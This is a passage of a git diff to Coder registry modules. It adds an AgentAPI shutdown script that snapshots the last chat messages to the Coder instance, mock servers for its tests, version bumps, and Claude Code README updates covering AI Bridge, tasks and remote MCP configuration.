expect(result.exitCode).toBe(0);
|
||||
expect(result.stdout).toContain("No task ID, skipping log snapshot");
|
||||
});
|
||||
|
||||
test("handles 404 gracefully for older Coder versions", async () => {
|
||||
const { id } = await setup({
|
||||
moduleVariables: {},
|
||||
skipAgentAPIMock: true,
|
||||
});
|
||||
|
||||
await setupMocks(id, "normal", 404);
|
||||
const result = await runShutdownScript(id);
|
||||
|
||||
expect(result.exitCode).toBe(0);
|
||||
expect(result.stdout).toContain(
|
||||
"Log snapshot endpoint not supported by this Coder version",
|
||||
);
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
@@ -4,7 +4,7 @@ terraform {
|
||||
required_providers {
|
||||
coder = {
|
||||
source = "coder/coder"
|
||||
version = ">= 2.12"
|
||||
version = ">= 2.13"
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -18,6 +18,8 @@ data "coder_workspace" "me" {}
|
||||
|
||||
data "coder_workspace_owner" "me" {}
|
||||
|
||||
data "coder_task" "me" {}
|
||||
|
||||
variable "web_app_order" {
|
||||
type = number
|
||||
description = "The order determines the position of app in the UI presentation. The lowest order is shown first and apps with equal order are sorted by name (ascending order)."
|
||||
@@ -126,6 +128,12 @@ variable "agentapi_port" {
|
||||
default = 3284
|
||||
}
|
||||
|
||||
variable "task_log_snapshot" {
|
||||
type = bool
|
||||
description = "Capture last 10 messages when workspace stops for offline viewing while task is paused."
|
||||
default = true
|
||||
}
|
||||
|
||||
locals {
|
||||
# agentapi_subdomain_false_min_version_expr matches a semantic version >= v0.3.3.
|
||||
# Initial support was added in v0.3.1 but configuration via environment variable
|
||||
@@ -173,6 +181,7 @@ locals {
|
||||
// for backward compatibility.
|
||||
agentapi_chat_base_path = var.agentapi_subdomain ? "" : "/@${data.coder_workspace_owner.me.name}/${data.coder_workspace.me.name}.${var.agent_id}/apps/${var.web_app_slug}/chat"
|
||||
main_script = file("${path.module}/scripts/main.sh")
|
||||
shutdown_script = file("${path.module}/scripts/agentapi-shutdown.sh")
|
||||
}
|
||||
|
||||
resource "coder_script" "agentapi" {
|
||||
@@ -198,11 +207,32 @@ resource "coder_script" "agentapi" {
|
||||
ARG_POST_INSTALL_SCRIPT="$(echo -n '${local.encoded_post_install_script}' | base64 -d)" \
|
||||
ARG_AGENTAPI_PORT='${var.agentapi_port}' \
|
||||
ARG_AGENTAPI_CHAT_BASE_PATH='${local.agentapi_chat_base_path}' \
|
||||
ARG_TASK_ID='${try(data.coder_task.me.id, "")}' \
|
||||
ARG_TASK_LOG_SNAPSHOT='${var.task_log_snapshot}' \
|
||||
/tmp/main.sh
|
||||
EOT
|
||||
run_on_start = true
|
||||
}
|
||||
|
||||
resource "coder_script" "agentapi_shutdown" {
|
||||
agent_id = var.agent_id
|
||||
display_name = "AgentAPI Shutdown"
|
||||
icon = var.web_app_icon
|
||||
run_on_stop = true
|
||||
script = <<-EOT
|
||||
#!/bin/bash
|
||||
set -o pipefail
|
||||
|
||||
echo -n '${base64encode(local.shutdown_script)}' | base64 -d > /tmp/agentapi-shutdown.sh
|
||||
chmod +x /tmp/agentapi-shutdown.sh
|
||||
|
||||
ARG_TASK_ID='${try(data.coder_task.me.id, "")}' \
|
||||
ARG_TASK_LOG_SNAPSHOT='${var.task_log_snapshot}' \
|
||||
ARG_AGENTAPI_PORT='${var.agentapi_port}' \
|
||||
/tmp/agentapi-shutdown.sh
|
||||
EOT
|
||||
}
|
||||
|
||||
resource "coder_app" "agentapi_web" {
|
||||
slug = var.web_app_slug
|
||||
display_name = var.web_app_display_name
|
||||
|
||||
@@ -0,0 +1,212 @@
|
||||
#!/usr/bin/env bash
|
||||
# AgentAPI shutdown script.
|
||||
#
|
||||
# Captures the last 10 messages from AgentAPI and posts them to Coder instance
|
||||
# as a snapshot. This script is called during workspace shutdown to access
|
||||
# conversation history for paused tasks.
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
# Configuration (set via Terraform interpolation).
|
||||
readonly TASK_ID="${ARG_TASK_ID:-}"
|
||||
readonly TASK_LOG_SNAPSHOT="${ARG_TASK_LOG_SNAPSHOT:-true}"
|
||||
readonly AGENTAPI_PORT="${ARG_AGENTAPI_PORT:-3284}"
|
||||
|
||||
# Runtime environment variables.
|
||||
readonly CODER_AGENT_URL="${CODER_AGENT_URL:-}"
|
||||
readonly CODER_AGENT_TOKEN="${CODER_AGENT_TOKEN:-}"
|
||||
|
||||
# Constants.
|
||||
readonly MAX_PAYLOAD_SIZE=65536 # 64KB
|
||||
readonly MAX_MESSAGE_CONTENT=57344 # 56KB
|
||||
readonly MAX_MESSAGES=10
|
||||
readonly FETCH_TIMEOUT=5
|
||||
readonly POST_TIMEOUT=10
|
||||
|
||||
log() {
|
||||
echo "$*"
|
||||
}
|
||||
|
||||
error() {
|
||||
echo "Error: $*" >&2
|
||||
}
|
||||
|
||||
fetch_and_build_messages_payload() {
|
||||
local payload_file="$1"
|
||||
local messages_url="http://localhost:${AGENTAPI_PORT}/messages"
|
||||
|
||||
log "Fetching messages from AgentAPI on port $AGENTAPI_PORT"
|
||||
|
||||
if ! curl -fsSL --max-time "$FETCH_TIMEOUT" "$messages_url" > "$payload_file"; then
|
||||
error "Failed to fetch messages from AgentAPI (may not be running)"
|
||||
return 1
|
||||
fi
|
||||
|
||||
# Update messages field to keep only last N messages.
|
||||
if ! jq --argjson n "$MAX_MESSAGES" '.messages |= .[-$n:]' < "$payload_file" > "${payload_file}.tmp"; then
|
||||
error "Failed to select last $MAX_MESSAGES messages"
|
||||
return 1
|
||||
fi
|
||||
mv "${payload_file}.tmp" "$payload_file"
|
||||
|
||||
return 0
|
||||
}
|
||||
|
||||
truncate_messages_payload_to_size() {
|
||||
local payload_file="$1"
|
||||
local max_size="$2"
|
||||
|
||||
while true; do
|
||||
local size
|
||||
size=$(wc -c < "$payload_file")
|
||||
|
||||
if ((size <= max_size)); then
|
||||
break
|
||||
fi
|
||||
|
||||
local count
|
||||
count=$(jq '.messages | length' < "$payload_file")
|
||||
|
||||
if ((count == 1)); then
|
||||
# Down to last message, truncate its content keeping the tail.
|
||||
log "Payload size $size bytes exceeds limit, truncating final message content"
|
||||
|
||||
# Keep tail of content with truncation indicator, leaving room for JSON
|
||||
# overhead.
|
||||
if ! jq --argjson maxlen "$MAX_MESSAGE_CONTENT" '.messages[0].content |= (if length > $maxlen then "[...content truncated, showing last 56KB...]\n\n" + .[-$maxlen:] else . end)' < "$payload_file" > "${payload_file}.tmp"; then
|
||||
error "Failed to truncate message content"
|
||||
return 1
|
||||
fi
|
||||
mv "${payload_file}.tmp" "$payload_file"
|
||||
|
||||
# Verify the truncation was sufficient.
|
||||
size=$(wc -c < "$payload_file")
|
||||
if ((size > max_size)); then
|
||||
error "Payload still too large after content truncation, giving up"
|
||||
return 1
|
||||
fi
|
||||
break
|
||||
else
|
||||
# More than one message, remove the oldest.
|
||||
log "Payload size $size bytes exceeds limit, removing oldest message"
|
||||
|
||||
if ! jq '.messages |= .[1:]' < "$payload_file" > "${payload_file}.tmp"; then
|
||||
error "Failed to remove oldest message"
|
||||
return 1
|
||||
fi
|
||||
mv "${payload_file}.tmp" "$payload_file"
|
||||
fi
|
||||
done
|
||||
|
||||
return 0
|
||||
}
|
||||
|
||||
post_task_log_snapshot() {
|
||||
local payload_file="$1"
|
||||
local tmpdir="$2"
|
||||
|
||||
local snapshot_url="${CODER_AGENT_URL}/api/v2/workspaceagents/me/tasks/${TASK_ID}/log-snapshot?format=agentapi"
|
||||
local response_file="${tmpdir}/response.txt"
|
||||
|
||||
log "Posting log snapshot to Coder instance"
|
||||
|
||||
local http_code
|
||||
if ! http_code=$(curl -sS -w "%{http_code}" -o "$response_file" \
|
||||
--max-time "$POST_TIMEOUT" \
|
||||
-X POST "$snapshot_url" \
|
||||
-H "Coder-Session-Token: $CODER_AGENT_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
--data-binary "@$payload_file"); then
|
||||
error "Failed to connect to Coder instance (curl failed)"
|
||||
return 1
|
||||
fi
|
||||
|
||||
if [[ $http_code == 204 ]]; then
|
||||
log "Log snapshot posted successfully"
|
||||
return 0
|
||||
elif [[ $http_code == 404 ]]; then
|
||||
log "Log snapshot endpoint not supported by this Coder version, skipping"
|
||||
return 0
|
||||
else
|
||||
local response
|
||||
response=$(cat "$response_file" 2> /dev/null || echo "")
|
||||
error "Failed to post log snapshot (HTTP $http_code): $response"
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
capture_task_log_snapshot() {
|
||||
if [[ -z $TASK_ID ]]; then
|
||||
log "No task ID, skipping log snapshot"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
if [[ -z $CODER_AGENT_URL ]]; then
|
||||
error "CODER_AGENT_URL not set, cannot capture log snapshot"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [[ -z $CODER_AGENT_TOKEN ]]; then
|
||||
error "CODER_AGENT_TOKEN not set, cannot capture log snapshot"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if ! command -v jq > /dev/null 2>&1; then
|
||||
error "jq not found, cannot capture log snapshot"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if ! command -v curl > /dev/null 2>&1; then
|
||||
error "curl not found, cannot capture log snapshot"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
tmpdir=$(mktemp -d)
|
||||
trap 'rm -rf "$tmpdir"' EXIT
|
||||
|
||||
local payload_file="${tmpdir}/payload.json"
|
||||
|
||||
if ! fetch_and_build_messages_payload "$payload_file"; then
|
||||
error "Cannot capture log snapshot without messages"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
local message_count
|
||||
message_count=$(jq '.messages | length' < "$payload_file")
|
||||
if ((message_count == 0)); then
|
||||
log "No messages for log snapshot"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
log "Retrieved $message_count messages for log snapshot"
|
||||
|
||||
# Ensure payload fits within size limit.
|
||||
if ! truncate_messages_payload_to_size "$payload_file" "$MAX_PAYLOAD_SIZE"; then
|
||||
error "Failed to truncate payload to size limit"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
local final_size final_count
|
||||
final_size=$(wc -c < "$payload_file")
|
||||
final_count=$(jq '.messages | length' < "$payload_file")
|
||||
log "Log snapshot payload: $final_size bytes, $final_count messages"
|
||||
|
||||
if ! post_task_log_snapshot "$payload_file" "$tmpdir"; then
|
||||
error "Log snapshot capture failed"
|
||||
exit 1
|
||||
fi
|
||||
}
|
||||
|
||||
main() {
|
||||
log "Shutting down AgentAPI"
|
||||
|
||||
if [[ $TASK_LOG_SNAPSHOT == true ]]; then
|
||||
capture_task_log_snapshot
|
||||
else
|
||||
log "Log snapshot disabled, skipping"
|
||||
fi
|
||||
|
||||
log "Shutdown complete"
|
||||
}
|
||||
|
||||
main "$@"
|
||||
@@ -3,20 +3,22 @@ set -o errexit
|
||||
set -o pipefail
|
||||
|
||||
port=${1:-3284}
|
||||
max_attempts=150
|
||||
|
||||
# This script waits for the agentapi server to start on port 3284.
|
||||
# This script waits for the agentapi server to start on the given port.
|
||||
# Each attempt sleeps 0.1s, so 150 attempts ≈ 15 seconds.
|
||||
# It considers the server started after 3 consecutive successful responses.
|
||||
|
||||
agentapi_started=false
|
||||
|
||||
echo "Waiting for agentapi server to start on port $port..."
|
||||
for i in $(seq 1 150); do
|
||||
for i in $(seq 1 "$max_attempts"); do
|
||||
for j in $(seq 1 3); do
|
||||
sleep 0.1
|
||||
if curl -fs -o /dev/null "http://localhost:$port/status"; then
|
||||
echo "agentapi response received ($j/3)"
|
||||
else
|
||||
echo "agentapi server not responding ($i/15)"
|
||||
echo "agentapi server not responding ($i/$max_attempts)"
|
||||
continue 2
|
||||
fi
|
||||
done
|
||||
@@ -25,7 +27,7 @@ for i in $(seq 1 150); do
|
||||
done
|
||||
|
||||
if [ "$agentapi_started" != "true" ]; then
|
||||
echo "Error: agentapi server did not start on port $port after 15 seconds."
|
||||
echo "Error: agentapi server did not start on port $port after $max_attempts attempts."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
|
||||
@@ -14,6 +14,8 @@ WAIT_FOR_START_SCRIPT="$ARG_WAIT_FOR_START_SCRIPT"
|
||||
POST_INSTALL_SCRIPT="$ARG_POST_INSTALL_SCRIPT"
|
||||
AGENTAPI_PORT="$ARG_AGENTAPI_PORT"
|
||||
AGENTAPI_CHAT_BASE_PATH="${ARG_AGENTAPI_CHAT_BASE_PATH:-}"
|
||||
TASK_ID="${ARG_TASK_ID:-}"
|
||||
TASK_LOG_SNAPSHOT="${ARG_TASK_LOG_SNAPSHOT:-true}"
|
||||
set +o nounset
|
||||
|
||||
command_exists() {
|
||||
@@ -23,6 +25,13 @@ command_exists() {
|
||||
module_path="$HOME/${MODULE_DIR_NAME}"
|
||||
mkdir -p "$module_path/scripts"
|
||||
|
||||
# Check for jq dependency if task log snapshot is enabled.
|
||||
if [[ $TASK_LOG_SNAPSHOT == true ]] && [[ -n $TASK_ID ]]; then
|
||||
if ! command_exists jq; then
|
||||
echo "Warning: jq is not installed. Task log snapshot requires jq to capture conversation history."
|
||||
echo "Install jq to enable log snapshot functionality when the workspace stops."
|
||||
fi
|
||||
fi
|
||||
if [ ! -d "${WORKDIR}" ]; then
|
||||
echo "Warning: The specified folder '${WORKDIR}' does not exist."
|
||||
echo "Creating the folder..."
|
||||
|
||||
@@ -0,0 +1,84 @@
|
||||
#!/usr/bin/env node
|
||||
// Mock AgentAPI server for shutdown script tests.
|
||||
// Usage: MESSAGES='[...]' node agentapi-mock-shutdown.js [port]
|
||||
|
||||
const http = require("http");
|
||||
const port = process.argv[2] || 3284;
|
||||
|
||||
// Parse messages from environment or use default
|
||||
let messages = [];
|
||||
if (process.env.MESSAGES) {
|
||||
try {
|
||||
messages = JSON.parse(process.env.MESSAGES);
|
||||
} catch (e) {
|
||||
console.error("Failed to parse MESSAGES env var:", e.message);
|
||||
process.exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
// Presets for common test scenarios
|
||||
if (process.env.PRESET === "normal") {
|
||||
messages = [
|
||||
{ id: 1, type: "input", content: "Hello", time: "2025-01-01T00:00:00Z" },
|
||||
{
|
||||
id: 2,
|
||||
type: "output",
|
||||
content: "Hi there",
|
||||
time: "2025-01-01T00:00:01Z",
|
||||
},
|
||||
{
|
||||
id: 3,
|
||||
type: "input",
|
||||
content: "How are you?",
|
||||
time: "2025-01-01T00:00:02Z",
|
||||
},
|
||||
{
|
||||
id: 4,
|
||||
type: "output",
|
||||
content: "Good!",
|
||||
time: "2025-01-01T00:00:03Z",
|
||||
},
|
||||
{ id: 5, type: "input", content: "Great", time: "2025-01-01T00:00:04Z" },
|
||||
];
|
||||
} else if (process.env.PRESET === "many") {
|
||||
messages = Array.from({ length: 15 }, (_, i) => ({
|
||||
id: i + 1,
|
||||
type: "input",
|
||||
content: `Message ${i + 1}`,
|
||||
time: "2025-01-01T00:00:00Z",
|
||||
}));
|
||||
} else if (process.env.PRESET === "huge") {
|
||||
messages = [
|
||||
{
|
||||
id: 1,
|
||||
type: "output",
|
||||
content: "x".repeat(70000),
|
||||
time: "2025-01-01T00:00:00Z",
|
||||
},
|
||||
];
|
||||
}
|
||||
|
||||
const server = http.createServer((req, res) => {
|
||||
if (req.url === "/messages") {
|
||||
res.writeHead(200, { "Content-Type": "application/json" });
|
||||
res.end(JSON.stringify({ messages }));
|
||||
} else if (req.url === "/status") {
|
||||
res.writeHead(200, { "Content-Type": "application/json" });
|
||||
res.end(JSON.stringify({ status: "stable" }));
|
||||
} else {
|
||||
res.writeHead(404);
|
||||
res.end();
|
||||
}
|
||||
});
|
||||
|
||||
server.listen(port, () => {
|
||||
console.error(`Mock AgentAPI listening on port ${port}`);
|
||||
});
|
||||
|
||||
process.on("SIGTERM", () => {
|
||||
server.close(() => process.exit(0));
|
||||
});
|
||||
|
||||
process.on("SIGINT", () => {
|
||||
server.close(() => process.exit(0));
|
||||
});
|
||||
@@ -0,0 +1,61 @@
|
||||
#!/usr/bin/env node
|
||||
// Mock Coder instance server for shutdown script tests.
|
||||
// Captures POST requests to /log-snapshot endpoint.
|
||||
|
||||
const http = require("http");
|
||||
const fs = require("fs");
|
||||
const port = process.argv[2] || 8080;
|
||||
const outputFile = process.env.OUTPUT_FILE || "/tmp/snapshot-posted.json";
|
||||
const httpCode = parseInt(process.env.HTTP_CODE || "204", 10);
|
||||
|
||||
const server = http.createServer((req, res) => {
|
||||
const url = new URL(req.url, `http://localhost:${port}`);
|
||||
|
||||
// Expected path: /api/v2/workspaceagents/me/tasks/{task_id}/log-snapshot
|
||||
const pathMatch = url.pathname.match(/\/tasks\/([^\/]+)\/log-snapshot$/);
|
||||
|
||||
if (req.method === "POST" && pathMatch) {
|
||||
const taskId = pathMatch[1];
|
||||
let body = "";
|
||||
req.on("data", (chunk) => {
|
||||
body += chunk.toString();
|
||||
});
|
||||
|
||||
req.on("end", () => {
|
||||
// Save captured snapshot with task ID for verification
|
||||
const snapshotData = {
|
||||
task_id: taskId,
|
||||
payload: JSON.parse(body),
|
||||
};
|
||||
fs.writeFileSync(outputFile, JSON.stringify(snapshotData, null, 2));
|
||||
console.error(
|
||||
`Captured snapshot for task ${taskId} (${body.length} bytes) to ${outputFile}`,
|
||||
);
|
||||
|
||||
// Return configured status code
|
||||
res.writeHead(httpCode);
|
||||
res.end();
|
||||
});
|
||||
|
||||
req.on("error", (err) => {
|
||||
console.error("Request error:", err);
|
||||
res.writeHead(500);
|
||||
res.end();
|
||||
});
|
||||
} else {
|
||||
res.writeHead(404);
|
||||
res.end();
|
||||
}
|
||||
});
|
||||
|
||||
server.listen(port, () => {
|
||||
console.error(`Mock Coder instance listening on port ${port}`);
|
||||
});
|
||||
|
||||
process.on("SIGTERM", () => {
|
||||
server.close(() => process.exit(0));
|
||||
});
|
||||
|
||||
process.on("SIGINT", () => {
|
||||
server.close(() => process.exit(0));
|
||||
});
|
||||
@@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder)
|
||||
module "antigravity" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/antigravity/coder"
|
||||
version = "1.0.0"
|
||||
version = "1.0.1"
|
||||
agent_id = coder_agent.example.id
|
||||
}
|
||||
```
|
||||
@@ -29,7 +29,7 @@ module "antigravity" {
|
||||
module "antigravity" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/antigravity/coder"
|
||||
version = "1.0.0"
|
||||
version = "1.0.1"
|
||||
agent_id = coder_agent.example.id
|
||||
folder = "/home/coder/project"
|
||||
}
|
||||
@@ -45,7 +45,7 @@ The following example configures Antigravity to use the GitHub MCP server with a
|
||||
module "antigravity" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder/antigravity/coder"
|
||||
version = "1.0.0"
|
||||
version = "1.0.1"
|
||||
agent_id = coder_agent.example.id
|
||||
folder = "/home/coder/project"
|
||||
mcp = jsonencode({
|
||||
|
||||
@@ -66,15 +66,15 @@ locals {
|
||||
|
||||
module "vscode-desktop-core" {
|
||||
source = "registry.coder.com/coder/vscode-desktop-core/coder"
|
||||
version = "1.0.1"
|
||||
version = "1.0.2"
|
||||
|
||||
agent_id = var.agent_id
|
||||
|
||||
web_app_icon = "/icon/antigravity.svg"
|
||||
web_app_slug = var.slug
|
||||
web_app_display_name = var.display_name
|
||||
web_app_order = var.order
|
||||
web_app_group = var.group
|
||||
coder_app_icon = "/icon/antigravity.svg"
|
||||
coder_app_slug = var.slug
|
||||
coder_app_display_name = var.display_name
|
||||
coder_app_order = var.order
|
||||
coder_app_group = var.group
|
||||
|
||||
folder = var.folder
|
||||
open_recent = var.open_recent
|
||||
|
||||
@@ -3,7 +3,7 @@ display_name: Claude Code
|
||||
description: Run the Claude Code agent in your workspace.
|
||||
icon: ../../../../.icons/claude.svg
|
||||
verified: true
|
||||
tags: [agent, claude-code, ai, tasks, anthropic]
|
||||
tags: [agent, claude-code, ai, tasks, anthropic, aibridge]
|
||||
---
|
||||
|
||||
# Claude Code
|
||||
@@ -13,7 +13,7 @@ Run the [Claude Code](https://docs.anthropic.com/en/docs/agents-and-tools/claude
|
||||
```tf
|
||||
module "claude-code" {
|
||||
source = "registry.coder.com/coder/claude-code/coder"
|
||||
version = "4.3.0"
|
||||
version = "4.7.5"
|
||||
agent_id = coder_agent.main.id
|
||||
workdir = "/home/coder/project"
|
||||
claude_api_key = "xxxx-xxxxx-xxxx"
|
||||
@@ -42,33 +42,85 @@ By default, Claude Code automatically resumes existing conversations when your w
|
||||
|
||||
This example shows how to configure the Claude Code module to run the agent behind a process-level boundary that restricts its network access.
|
||||
|
||||
By default, when `enable_boundary = true`, the module uses `coder boundary` subcommand (provided by Coder) without requiring any installation.
|
||||
|
||||
```tf
|
||||
module "claude-code" {
|
||||
source = "dev.registry.coder.com/coder/claude-code/coder"
|
||||
version = "4.3.0"
|
||||
agent_id = coder_agent.main.id
|
||||
workdir = "/home/coder/project"
|
||||
enable_boundary = true
|
||||
boundary_version = "v0.5.1"
|
||||
source = "registry.coder.com/coder/claude-code/coder"
|
||||
version = "4.7.5"
|
||||
agent_id = coder_agent.main.id
|
||||
workdir = "/home/coder/project"
|
||||
enable_boundary = true
|
||||
}
|
||||
```
|
||||
|
||||
### Usage with Tasks and Advanced Configuration
|
||||
> [!NOTE]
|
||||
> For developers: The module also supports installing boundary from a release version (`use_boundary_directly = true`) or compiling from source (`compile_boundary_from_source = true`). These are escape hatches for development and testing purposes.
|
||||
|
||||
This example shows how to configure the Claude Code module with an AI prompt, API key shared by all users of the template, and other custom settings.
|
||||
### Usage with AI Bridge
|
||||
|
||||
[AI Bridge](https://coder.com/docs/ai-coder/ai-bridge) is a Premium Coder feature that provides centralized LLM proxy management. To use AI Bridge, set `enable_aibridge = true`. Requires Coder version >= 2.29.0.
|
||||
|
||||
For tasks integration with AI Bridge, add `enable_aibridge = true` to the [Usage with Tasks](#usage-with-tasks) example below.
|
||||
|
||||
#### Standalone usage with AI Bridge
|
||||
|
||||
```tf
|
||||
data "coder_parameter" "ai_prompt" {
|
||||
type = "string"
|
||||
name = "AI Prompt"
|
||||
default = ""
|
||||
description = "Initial task prompt for Claude Code."
|
||||
mutable = true
|
||||
module "claude-code" {
|
||||
source = "registry.coder.com/coder/claude-code/coder"
|
||||
version = "4.7.5"
|
||||
agent_id = coder_agent.main.id
|
||||
workdir = "/home/coder/project"
|
||||
enable_aibridge = true
|
||||
}
|
||||
```
|
||||
|
||||
When `enable_aibridge = true`, the module automatically sets:
|
||||
|
||||
- `ANTHROPIC_BASE_URL` to `${data.coder_workspace.me.access_url}/api/v2/aibridge/anthropic`
|
||||
- `CLAUDE_API_KEY` to the workspace owner's session token
|
||||
|
||||
This allows Claude Code to route API requests through Coder's AI Bridge instead of directly to Anthropic's API.
|
||||
Template build will fail if either `claude_api_key` or `claude_code_oauth_token` is provided alongside `enable_aibridge = true`.
|
||||
|
||||
### Usage with Tasks
|
||||
|
||||
This example shows how to configure Claude Code with Coder tasks.
|
||||
|
||||
```tf
|
||||
resource "coder_ai_task" "task" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
app_id = module.claude-code.task_app_id
|
||||
}
|
||||
|
||||
data "coder_task" "me" {}
|
||||
|
||||
module "claude-code" {
|
||||
source = "registry.coder.com/coder/claude-code/coder"
|
||||
version = "4.7.5"
|
||||
agent_id = coder_agent.main.id
|
||||
workdir = "/home/coder/project"
|
||||
ai_prompt = data.coder_task.me.prompt
|
||||
|
||||
# Optional: route through AI Bridge (Premium feature)
|
||||
# enable_aibridge = true
|
||||
}
|
||||
```
|
||||
|
||||
### Advanced Configuration
|
||||
|
||||
This example shows additional configuration options for version pinning, custom models, and MCP servers.
|
||||
|
||||
> [!NOTE]
|
||||
> The `claude_binary_path` variable can be used to specify where a pre-installed Claude binary is located.
|
||||
|
||||
> [!WARNING]
|
||||
> **Deprecation Notice**: The npm installation method (`install_via_npm = true`) will be deprecated and removed in the next major release. Please use the default binary installation method instead.
|
||||
|
||||
```tf
|
||||
module "claude-code" {
|
||||
source = "registry.coder.com/coder/claude-code/coder"
|
||||
version = "4.3.0"
|
||||
version = "4.7.5"
|
||||
agent_id = coder_agent.main.id
|
||||
workdir = "/home/coder/project"
|
||||
|
||||
@@ -76,12 +128,11 @@ module "claude-code" {
|
||||
# OR
|
||||
claude_code_oauth_token = "xxxxx-xxxx-xxxx"
|
||||
|
||||
claude_code_version = "2.0.62" # Pin to a specific version
|
||||
claude_code_version = "2.0.62" # Pin to a specific version
|
||||
claude_binary_path = "/opt/claude/bin" # Path to pre-installed Claude binary
|
||||
agentapi_version = "0.11.4"
|
||||
|
||||
ai_prompt = data.coder_parameter.ai_prompt.value
|
||||
model = "sonnet"
|
||||
|
||||
model = "sonnet"
|
||||
permission_mode = "plan"
|
||||
|
||||
mcp = <<-EOF
|
||||
@@ -94,9 +145,30 @@ module "claude-code" {
|
||||
}
|
||||
}
|
||||
EOF
|
||||
|
||||
mcp_config_remote_path = [
|
||||
"https://gist.githubusercontent.com/35C4n0r/cd8dce70360e5d22a070ae21893caed4/raw/",
|
||||
"https://raw.githubusercontent.com/coder/coder/main/.mcp.json"
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> Remote URLs should return a JSON body in the following format:
|
||||
>
|
||||
> ```json
|
||||
> {
|
||||
> "mcpServers": {
|
||||
> "server-name": {
|
||||
> "command": "some-command",
|
||||
> "args": ["arg1", "arg2"]
|
||||
> }
|
||||
> }
|
||||
> }
|
||||
> ```
|
||||
>
|
||||
> The `Content-Type` header doesn't matter—both `text/plain` and `application/json` work fine.
|
||||
|
||||
### Standalone Mode
|
||||
|
||||
Run and configure Claude Code as a standalone CLI in your workspace.
|
||||
@@ -104,7 +176,7 @@ Run and configure Claude Code as a standalone CLI in your workspace.
|
||||
```tf
|
||||
module "claude-code" {
|
||||
source = "registry.coder.com/coder/claude-code/coder"
|
||||
version = "4.3.0"
|
||||
version = "4.7.5"
|
||||
agent_id = coder_agent.main.id
|
||||
workdir = "/home/coder/project"
|
||||
install_claude_code = true
|
||||
@@ -126,7 +198,7 @@ variable "claude_code_oauth_token" {
|
||||
|
||||
module "claude-code" {
|
||||
source = "registry.coder.com/coder/claude-code/coder"
|
||||
version = "4.3.0"
|
||||
version = "4.7.5"
|
||||
agent_id = coder_agent.main.id
|
||||
workdir = "/home/coder/project"
|
||||
claude_code_oauth_token = var.claude_code_oauth_token
|
||||
@@ -137,7 +209,7 @@ module "claude-code" {
|
||||
|
||||
#### Prerequisites
|
||||
|
||||
AWS account with Bedrock access, Claude models enabled in Bedrock console, appropriate IAM permissions.
|
||||
AWS account with Bedrock access, Claude models enabled in Bedrock console, and appropriate IAM permissions.
|
||||
|
||||
Configure Claude Code to use AWS Bedrock for accessing Claude models through your AWS infrastructure.
|
||||
|
||||
@@ -199,7 +271,7 @@ resource "coder_env" "bedrock_api_key" {
|
||||
|
||||
module "claude-code" {
|
||||
source = "registry.coder.com/coder/claude-code/coder"
|
||||
version = "4.3.0"
|
||||
version = "4.7.5"
|
||||
agent_id = coder_agent.main.id
|
||||
workdir = "/home/coder/project"
|
||||
model = "global.anthropic.claude-sonnet-4-5-20250929-v1:0"
|
||||
@@ -213,7 +285,7 @@ module "claude-code" {
|
||||
|
||||
#### Prerequisites
|
||||
|
||||
GCP project with Vertex AI API enabled, Claude models enabled through Model Garden, service account with Vertex AI permissions, appropriate IAM permissions (Vertex AI User role).
|
||||
GCP project with Vertex AI API enabled, Claude models enabled through Model Garden, service account with Vertex AI permissions, and appropriate IAM permissions (Vertex AI User role).
|
||||
|
||||
Configure Claude Code to use Google Vertex AI for accessing Claude models through Google Cloud Platform.
|
||||
|
||||
@@ -256,7 +328,7 @@ resource "coder_env" "google_application_credentials" {
|
||||
|
||||
module "claude-code" {
|
||||
source = "registry.coder.com/coder/claude-code/coder"
|
||||
version = "4.3.0"
|
||||
version = "4.7.5"
|
||||
agent_id = coder_agent.main.id
|
||||
workdir = "/home/coder/project"
|
||||
model = "claude-sonnet-4@20250514"
|
||||
|
||||
@@ -184,20 +184,15 @@ describe("claude-code", async () => {
|
||||
|
||||
test("claude-model", async () => {
|
||||
const model = "opus";
|
||||
const { id } = await setup({
|
||||
const { coderEnvVars } = await setup({
|
||||
moduleVariables: {
|
||||
model: model,
|
||||
ai_prompt: "test prompt",
|
||||
},
|
||||
});
|
||||
await execModuleScript(id);
|
||||
|
||||
const startLog = await execContainer(id, [
|
||||
"bash",
|
||||
"-c",
|
||||
"cat /home/coder/.claude-module/agentapi-start.log",
|
||||
]);
|
||||
expect(startLog.stdout).toContain(`--model ${model}`);
|
||||
// Verify ANTHROPIC_MODEL env var is set via coder_env
|
||||
expect(coderEnvVars["ANTHROPIC_MODEL"]).toBe(model);
|
||||
});
|
||||
|
||||
test("claude-continue-resume-task-session", async () => {
|
||||
@@ -466,4 +461,54 @@ EOF`,
|
||||
expect(startLog.stdout).toContain(taskSessionId);
|
||||
expect(startLog.stdout).not.toContain("manual-456");
|
||||
});
|
||||
|
||||
test("mcp-config-remote-path", async () => {
|
||||
const failingUrl = "http://localhost:19999/mcp.json";
|
||||
const successUrl =
|
||||
"https://raw.githubusercontent.com/coder/coder/main/.mcp.json";
|
||||
|
||||
const { id, coderEnvVars } = await setup({
|
||||
skipClaudeMock: true,
|
||||
moduleVariables: {
|
||||
mcp_config_remote_path: JSON.stringify([failingUrl, successUrl]),
|
||||
},
|
||||
});
|
||||
await execModuleScript(id, coderEnvVars);
|
||||
|
||||
const installLog = await readFileContainer(
|
||||
id,
|
||||
"/home/coder/.claude-module/install.log",
|
||||
);
|
||||
|
||||
